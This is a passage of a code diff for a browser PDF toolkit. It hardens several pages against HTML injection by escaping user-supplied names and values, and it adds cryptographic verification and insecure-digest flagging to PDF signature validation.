+            <input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
             <label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
@@ -1168,13 +1168,13 @@ function showProperties(field: FormField): void {
     specificProps = `
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
-            <textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea>
+            <textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
         </div>
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
             <select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
                 <option value="">None</option>
-                ${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')}
+                ${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
             </select>
         </div>
         <div class="text-xs text-gray-400 italic mt-2">
@@ -1185,7 +1185,7 @@ function showProperties(field: FormField): void {
     specificProps = `
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
-            <input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
@@ -1200,11 +1200,11 @@ function showProperties(field: FormField): void {
         </div>
         <div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
             <label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
-            <input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
             <label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
-            <textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea>
+            <textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
         </div>
         <div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
             <div class="mb-2">
@@ -1215,7 +1215,7 @@ function showProperties(field: FormField): void {
                       .filter((f) => f.id !== field.id)
                       .map(
                         (f) =>
-                          `<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>`
+                          `<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
                       )
                       .join('')}
                 </select>
@@ -1281,7 +1281,7 @@ function showProperties(field: FormField): void {
         </div>
         <div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
             <label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
-            <input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div class="mt-3 p-2 bg-gray-700 rounded">
             <span class="text-xs text-gray-400">Example of current format:</span>
@@ -1298,7 +1298,7 @@ function showProperties(field: FormField): void {
     specificProps = `
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
-            <input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div class="text-xs text-gray-400 italic mt-2">
             Clicking this field in the PDF will open a file picker to upload an image.
@@ -1320,7 +1320,7 @@ function showProperties(field: FormField): void {
         </div>
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
-            <input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
         `;
@@ -1330,7 +1330,7 @@ function showProperties(field: FormField): void {
     <div class="space-y-3">
       <div>
         <label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
-        <input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+        <input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         <div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
       </div>
       ${
@@ -1343,7 +1343,10 @@ function showProperties(field: FormField): void {
         <select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
           <option value="">-- Select existing group --</option>
           ${Array.from(existingRadioGroups)
-            .map((name) => `<option value="${name}">${name}</option>`)
+            .map(
+              (name) =>
+                `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
+            )
             .join('')}
           ${Array.from(
             new Set(
@@ -1354,7 +1357,7 @@ function showProperties(field: FormField): void {
           )
             .map((name) =>
               !existingRadioGroups.has(name)
-                ? `<option value="${name}">${name}</option>`
+                ? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
                 : ''
             )
             .join('')}
@@ -1367,7 +1370,7 @@ function showProperties(field: FormField): void {
       ${specificProps}
       <div>
         <label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
-        <input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+        <input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
       </div>
       <div class="flex items-center">
         <input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
@@ -1784,7 +1787,7 @@ function showProperties(field: FormField): void {
           field.options
             ?.map(
               (opt) =>
-                `<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>`
+                `<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
             )
             .join('');
 
@@ -2478,7 +2481,12 @@ downloadBtn.addEventListener('click', async () => {
                 JS: field.jsScript,
               });
             } else if (field.action === 'showHide' && field.targetFieldName) {
-              const target = field.targetFieldName;
+              const target = field.targetFieldName
+                .replace(/\\/g, '\\\\')
+                .replace(/"/g, '\\"')
+                .replace(/\r/g, '\\r')
+                .replace(/\n/g, '\\n')
+                .replace(/\0/g, '\\0');
               let script: string;
 
               if (field.visibilityAction === 'show') {

src/js/logic/form-filler-page.ts

@@ -54,19 +54,42 @@ function updateFileDisplay() {
       ? `${(currentFile.size / 1024).toFixed(1)} KB`
       : `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
 
-  displayArea.innerHTML = `
+  displayArea.textContent = '';
-        <div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
+
-            <div class="flex items-center justify-between">
+  const card = document.createElement('div');
-                <div class="flex-1 min-w-0">
+  card.className =
-                    <p class="truncate font-medium text-white">${currentFile.name}</p>
+    'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
-                    <p class="text-gray-400 text-sm">${fileSize}</p>
+
-                </div>
+  const row = document.createElement('div');
-                <button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
+  row.className = 'flex items-center justify-between';
-                    <i data-lucide="trash-2" class="w-4 h-4"></i>
+
-                </button>
+  const info = document.createElement('div');
-            </div>
+  info.className = 'flex-1 min-w-0';
-        </div>
+
-    `;
+  const nameP = document.createElement('p');
+  nameP.className = 'truncate font-medium text-white';
+  nameP.textContent = currentFile.name;
+
+  const sizeP = document.createElement('p');
+  sizeP.className = 'text-gray-400 text-sm';
+  sizeP.textContent = fileSize;
+
+  info.append(nameP, sizeP);
+
+  const removeBtn = document.createElement('button');
+  removeBtn.id = 'remove-file';
+  removeBtn.className =
+    'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
+  removeBtn.title = 'Remove file';
+
+  const removeIcon = document.createElement('i');
+  removeIcon.setAttribute('data-lucide', 'trash-2');
+  removeIcon.className = 'w-4 h-4';
+  removeBtn.appendChild(removeIcon);
+
+  row.append(info, removeBtn);
+  card.appendChild(row);
+  displayArea.appendChild(card);
 
   createIcons({ icons });
 

src/js/logic/pdf-layers-page.ts

@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
 import { t } from '../i18n/i18n';
 import {
   downloadFile,
+  escapeHtml,
   readFileAsArrayBuffer,
   formatBytes,
   getPDFDocument,
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
             <div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
                 <label class="layer-toggle">
                     <input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
-                    <span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span>
+                    <span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
                     ${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
                 </label>
                 <div class="layer-actions">

src/js/logic/pdf-multi-tool.ts

@@ -193,6 +193,15 @@ function initializeTool() {
   document
     .getElementById('pdf-file-input')
     ?.addEventListener('change', handlePdfUpload);
+  document.getElementById('upload-area')?.addEventListener('click', () => {
+    document.getElementById('pdf-file-input')?.click();
+  });
+  document
+    .getElementById('pdf-file-input-select-btn')
+    ?.addEventListener('click', (e) => {
+      e.stopPropagation();
+      document.getElementById('pdf-file-input')?.click();
+    });
   document
     .getElementById('insert-pdf-input')
     ?.addEventListener('change', handleInsertPdf);

src/js/logic/remove-annotations-page.ts

@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
 import { createIcons, icons } from 'lucide';
 import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
 import { loadPdfDocument } from '../utils/load-pdf-document.js';
+import { escapeHtml } from '../utils/helpers.js';
 
 // State management
 const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
@@ -70,7 +71,7 @@ function updateFileDisplay() {
         <div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
             <div class="flex items-center justify-between">
                 <div class="flex-1 min-w-0">
-                    <p class="truncate font-medium text-white">${pageState.file.name}</p>
+                    <p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
                     <p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
                 </div>
                 <button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

src/js/logic/remove-blank-pages-page.ts

@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
 import { initPagePreview } from '../utils/page-preview.js';
 import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
 import { loadPdfDocument } from '../utils/load-pdf-document.js';
+import { escapeHtml } from '../utils/helpers.js';
 
 pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
   'pdfjs-dist/build/pdf.worker.min.mjs',
@@ -79,7 +80,7 @@ function updateFileDisplay() {
         <div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
             <div class="flex items-center justify-between">
                 <div class="flex-1 min-w-0">
-                    <p class="truncate font-medium text-white">${pageState.file.name}</p>
+                    <p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
                     <p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
                 </div>
                 <button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

src/js/logic/validate-signature-pdf-page.ts

@@ -127,14 +127,19 @@ function handlePdfUpload(e: Event): void {
 }
 
 async function handlePdfFile(file: File): Promise<void> {
-    if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) {
+  if (
+    file.type !== 'application/pdf' &&
+    !file.name.toLowerCase().endsWith('.pdf')
+  ) {
     showAlert('Invalid File', 'Please select a PDF file.');
     return;
   }
 
   resetState();
   state.pdfFile = file;
-    state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
+  state.pdfBytes = new Uint8Array(
+    (await readFileAsArrayBuffer(file)) as ArrayBuffer
+  );
 
   updatePdfDisplay();
 
@@ -152,7 +157,8 @@ function updatePdfDisplay(): void {
   fileDisplayArea.innerHTML = '';
 
   const fileDiv = document.createElement('div');
-    fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
+  fileDiv.className =
+    'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
 
   const infoContainer = document.createElement('div');
   infoContainer.className = 'flex flex-col flex-1 min-w-0';
@@ -186,10 +192,15 @@ function handleCertUpload(e: Event): void {
 
 async function handleCertFile(file: File): Promise<void> {
   const validExtensions = ['.pem', '.crt', '.cer', '.der'];
-    const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext));
+  const hasValidExtension = validExtensions.some((ext) =>
+    file.name.toLowerCase().endsWith(ext)
+  );
 
   if (!hasValidExtension) {
-        showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.');
+    showAlert(
+      'Invalid Certificate',
+      'Please select a .pem, .crt, .cer, or .der certificate file.'
+    );
     return;
   }
 
@@ -202,7 +213,9 @@ async function handleCertFile(file: File): Promise<void> {
     if (content.includes('-----BEGIN CERTIFICATE-----')) {
       state.trustedCert = forge.pki.certificateFromPem(content);
     } else {
-            const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
+      const bytes = new Uint8Array(
+        (await readFileAsArrayBuffer(file)) as ArrayBuffer
+      );
       const derString = String.fromCharCode.apply(null, Array.from(bytes));
       const asn1 = forge.asn1.fromDer(derString);
       state.trustedCert = forge.pki.certificateFromAsn1(asn1);
@@ -227,7 +240,8 @@ function updateCertDisplay(): void {
   certDisplayArea.innerHTML = '';
 
   const certDiv = document.createElement('div');
-    certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
+  certDiv.className =
+    'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
 
   const infoContainer = document.createElement('div');
   infoContainer.className = 'flex flex-col flex-1 min-w-0';
@@ -236,11 +250,12 @@ function updateCertDisplay(): void {
   nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
 
   const cn = state.trustedCert.subject.getField('CN');
-    nameSpan.textContent = cn?.value as string || state.trustedCertFile.name;
+  nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
 
   const metaSpan = document.createElement('div');
   metaSpan.className = 'text-xs text-green-400';
-    metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
+  metaSpan.innerHTML =
+    '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
 
   infoContainer.append(nameSpan, metaSpan);
 
@@ -265,11 +280,17 @@ async function validateSignatures(): Promise<void> {
   showLoader('Analyzing signatures...');
 
   try {
-        state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined);
+    state.results = await validatePdfSignatures(
+      state.pdfBytes,
+      state.trustedCert ?? undefined
+    );
     displayResults();
   } catch (error) {
     console.error('Validation error:', error);
-        showAlert('Error', 'Failed to validate signatures. The file may be corrupted.');
+    showAlert(
+      'Error',
+      'Failed to validate signatures. The file may be corrupted.'
+    );
   } finally {
     hideLoader();
   }
@@ -297,10 +318,15 @@ function displayResults(): void {
   }
 
   const summaryDiv = document.createElement('div');
-    summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
+  summaryDiv.className =
+    'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
 
-    const validCount = state.results.filter(r => r.isValid && !r.isExpired).length;
+  const validCount = state.results.filter(
-    const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0;
+    (r) => r.isValid && !r.isExpired
+  ).length;
+  const trustVerified = state.trustedCert
+    ? state.results.filter((r) => r.isTrusted).length
+    : 0;
 
   let summaryHtml = `
         <p class="text-gray-300">
@@ -331,7 +357,10 @@ function displayResults(): void {
   createIcons({ icons });
 }
 
-function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement {
+function createSignatureCard(
+  result: SignatureValidationResult,
+  index: number
+): HTMLElement {
   const card = document.createElement('div');
   card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
 
@@ -340,9 +369,22 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
   let statusText = 'Valid Signature';
 
   if (!result.isValid) {
+    if (result.cryptoVerificationStatus === 'unsupported') {
+      statusColor = 'text-yellow-400';
+      statusIcon = 'alert-triangle';
+      statusText = 'Unverified — Unsupported Signature Algorithm';
+    } else {
       statusColor = 'text-red-400';
       statusIcon = 'x-circle';
-        statusText = 'Invalid Signature';
+      statusText =
+        result.cryptoVerified === false
+          ? 'Invalid — Cryptographic Verification Failed'
+          : 'Invalid Signature';
+    }
+  } else if (result.usesInsecureDigest) {
+    statusColor = 'text-red-400';
+    statusIcon = 'x-circle';
+    statusText = 'Insecure Digest (MD5 / SHA-1)';
   } else if (result.isExpired) {
     statusColor = 'text-yellow-400';
     statusIcon = 'alert-triangle';
@@ -360,16 +402,18 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
       month: 'short',
       day: 'numeric',
       hour: '2-digit',
-            minute: '2-digit'
+      minute: '2-digit',
     });
   };
 
   let trustBadge = '';
   if (state.trustedCert) {
     if (result.isTrusted) {
-            trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
+      trustBadge =
+        '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
     } else {
-            trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
+      trustBadge =
+        '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
     }
   }
 
@@ -383,7 +427,8 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
                 </div>
             </div>
             <div class="flex items-center">
-                ${result.coverageStatus === 'full'
+                ${
+                  result.coverageStatus === 'full'
                     ? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
                     : result.coverageStatus === 'partial'
                       ? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
                 </div>
             </div>
 
-            ${result.signatureDate ? `
+            ${
+              result.signatureDate
+                ? `
                 <div>
                     <p class="text-gray-400">Signed On</p>
                     <p class="text-white">${formatDate(result.signatureDate)}</p>
                 </div>
-            ` : ''}
+            `
+                : ''
+            }
 
             <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                 <div>
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
                 </div>
             </div>
 
-            ${result.reason ? `
+            ${
+              result.reason
+                ? `
                 <div>
                     <p class="text-gray-400">Reason</p>
                     <p class="text-white">${escapeHtml(result.reason)}</p>
                 </div>
-            ` : ''}
+            `
+                : ''
+            }
 
-            ${result.location ? `
+            ${
+              result.location
+                ? `
                 <div>
                     <p class="text-gray-400">Location</p>
                     <p class="text-white">${escapeHtml(result.location)}</p>
                 </div>
-            ` : ''}
+            `
+                : ''
+            }
 
             <details class="mt-2">
                 <summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
@@ -448,6 +505,7 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
                     <p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
                     <p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
                     ${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
+                    ${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
                 </div>
             </details>
         </div>

src/js/logic/validate-signature-pdf.ts

@@ -1,6 +1,11 @@
 import forge from 'node-forge';
 import { ExtractedSignature, SignatureValidationResult } from '@/types';
 
+const INSECURE_DIGEST_OIDS = new Set<string>([
+  '1.2.840.113549.2.5',
+  '1.3.14.3.2.26',
+]);
+
 export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
   const signatures: ExtractedSignature[] = [];
   const pdfString = new TextDecoder('latin1').decode(pdfBytes);
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
   return signatures;
 }
 
-export function validateSignature(
+export async function validateSignature(
   signature: ExtractedSignature,
   pdfBytes: Uint8Array,
   trustedCert?: forge.pki.Certificate
-): SignatureValidationResult {
+): Promise<SignatureValidationResult> {
   const result: SignatureValidationResult = {
     signatureIndex: signature.index,
     isValid: false,
@@ -104,7 +109,10 @@ export function validateSignature(
       asn1
     ) as forge.pkcs7.PkcsSignedData & {
       rawCapture?: {
-        authenticatedAttributes?: Array<{ type: string; value: Date }>;
+        digestAlgorithm?: string;
+        authenticatedAttributes?: forge.asn1.Asn1[];
+        signature?: string;
+        signatureAlgorithm?: forge.asn1.Asn1[];
       };
     };
 
@@ -161,21 +169,47 @@ export function validateSignature(
       }
     }
 
+    const signerInfoFields = extractSignerInfoFields(p7);
+    const digestOid = signerInfoFields?.digestOid;
+
     result.algorithms = {
-      digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
+      digest:
+        (digestOid && getDigestAlgorithmName(digestOid)) ||
+        getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
       signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
     };
 
+    if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
+      result.usesInsecureDigest = true;
+    }
+
     // Parse signing time if available in signature
     if (signature.signingTime) {
       result.signatureDate = new Date(signature.signingTime);
     } else {
-      // Try to extract from authenticated attributes
       try {
-        if (p7.rawCapture?.authenticatedAttributes) {
+        const attrs = p7.rawCapture?.authenticatedAttributes;
-          for (const attr of p7.rawCapture.authenticatedAttributes) {
+        if (attrs) {
-            if (attr.type === forge.pki.oids.signingTime) {
+          for (const attrNode of attrs) {
-              result.signatureDate = attr.value;
+            const attrChildren = attrNode.value;
+            if (!Array.isArray(attrChildren) || attrChildren.length < 2)
+              continue;
+            const oidNode = attrChildren[0];
+            const setNode = attrChildren[1];
+            if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
+            const oid = forge.asn1.derToOid(oidNode.value as string);
+            if (oid === forge.pki.oids.signingTime) {
+              const setValue = setNode?.value;
+              if (Array.isArray(setValue) && setValue[0]) {
+                const timeNode = setValue[0];
+                const timeStr = timeNode.value as string;
+                if (typeof timeStr === 'string' && timeStr.length > 0) {
+                  result.signatureDate =
+                    timeNode.type === forge.asn1.Type.UTCTIME
+                      ? forge.asn1.utcTimeToDate(timeStr)
+                      : forge.asn1.generalizedTimeToDate(timeStr);
+                }
+              }
               break;
             }
           }
@@ -190,7 +224,6 @@ export function validateSignature(
 
     if (signature.byteRange && signature.byteRange.length === 4) {
       const [, len1, start2, len2] = signature.byteRange;
-      const totalCovered = len1 + len2;
       const expectedEnd = start2 + len2;
 
       if (expectedEnd === pdfBytes.length) {
@@ -200,7 +233,27 @@ export function validateSignature(
       }
     }
 
-    result.isValid = true;
+    const verification = await performCryptoVerification(
+      p7,
+      pdfBytes,
+      signature.byteRange,
+      signerCert,
+      signerInfoFields
+    );
+
+    result.cryptoVerified = verification.status === 'verified';
+    result.cryptoVerificationStatus = verification.status;
+    if (verification.status === 'unsupported') {
+      result.unsupportedAlgorithmReason = verification.reason;
+    } else if (verification.status === 'failed') {
+      result.errorMessage =
+        verification.reason || 'Cryptographic verification failed';
+    }
+
+    result.isValid =
+      verification.status === 'verified' &&
+      result.coverageStatus !== 'unknown' &&
+      !result.usesInsecureDigest;
   } catch (e) {
     result.errorMessage =
       e instanceof Error ? e.message : 'Failed to parse signature';
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
   trustedCert?: forge.pki.Certificate
 ): Promise<SignatureValidationResult[]> {
   const signatures = extractSignatures(pdfBytes);
-  return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert));
+  return Promise.all(
+    signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
+  );
 }
 
 export function countSignatures(pdfBytes: Uint8Array): number {
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
   };
   return signatureAlgorithms[oid] || oid || 'Unknown';
 }
+
+interface SignerInfoFields {
+  digestOid: string;
+  authAttrs: forge.asn1.Asn1[] | null;
+  signatureBytes: string;
+}
+
+function extractSignerInfoFields(
+  p7: forge.pkcs7.PkcsSignedData & {
+    rawCapture?: {
+      digestAlgorithm?: string;
+      authenticatedAttributes?: forge.asn1.Asn1[];
+      signature?: string;
+    };
+  }
+): SignerInfoFields | null {
+  const rc = p7.rawCapture;
+  if (!rc) return null;
+  const digestAlgorithmBytes = rc.digestAlgorithm;
+  const signatureBytes = rc.signature;
+  if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
+
+  return {
+    digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
+    authAttrs: Array.isArray(rc.authenticatedAttributes)
+      ? rc.authenticatedAttributes
+      : null,
+    signatureBytes,
+  };
+}
+
+function createMd(digestOid: string): forge.md.MessageDigest | null {
+  switch (digestOid) {
+    case forge.pki.oids.sha256:
+      return forge.md.sha256.create();
+    case forge.pki.oids.sha384:
+      return forge.md.sha384.create();
+    case forge.pki.oids.sha512:
+      return forge.md.sha512.create();
+    case forge.pki.oids.sha1:
+      return forge.md.sha1.create();
+    case forge.pki.oids.md5:
+      return forge.md.md5.create();
+    default:
+      return null;
+  }
+}
+
+function uint8ToLatin1(bytes: Uint8Array): string {
+  let out = '';
+  for (let i = 0; i < bytes.length; i++) {
+    out += String.fromCharCode(bytes[i]);
+  }
+  return out;
+}
+
+type CryptoVerificationResult =
+  | { status: 'verified' }
+  | { status: 'failed'; reason: string }
+  | { status: 'unsupported'; reason: string };
+
+interface SigScheme {
+  kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
+  hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
+  pssSaltLength?: number;
+}
+
+function latin1ToUint8(str: string): Uint8Array {
+  const out = new Uint8Array(str.length);
+  for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
+  return out;
+}
+
+function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
+  switch (oid) {
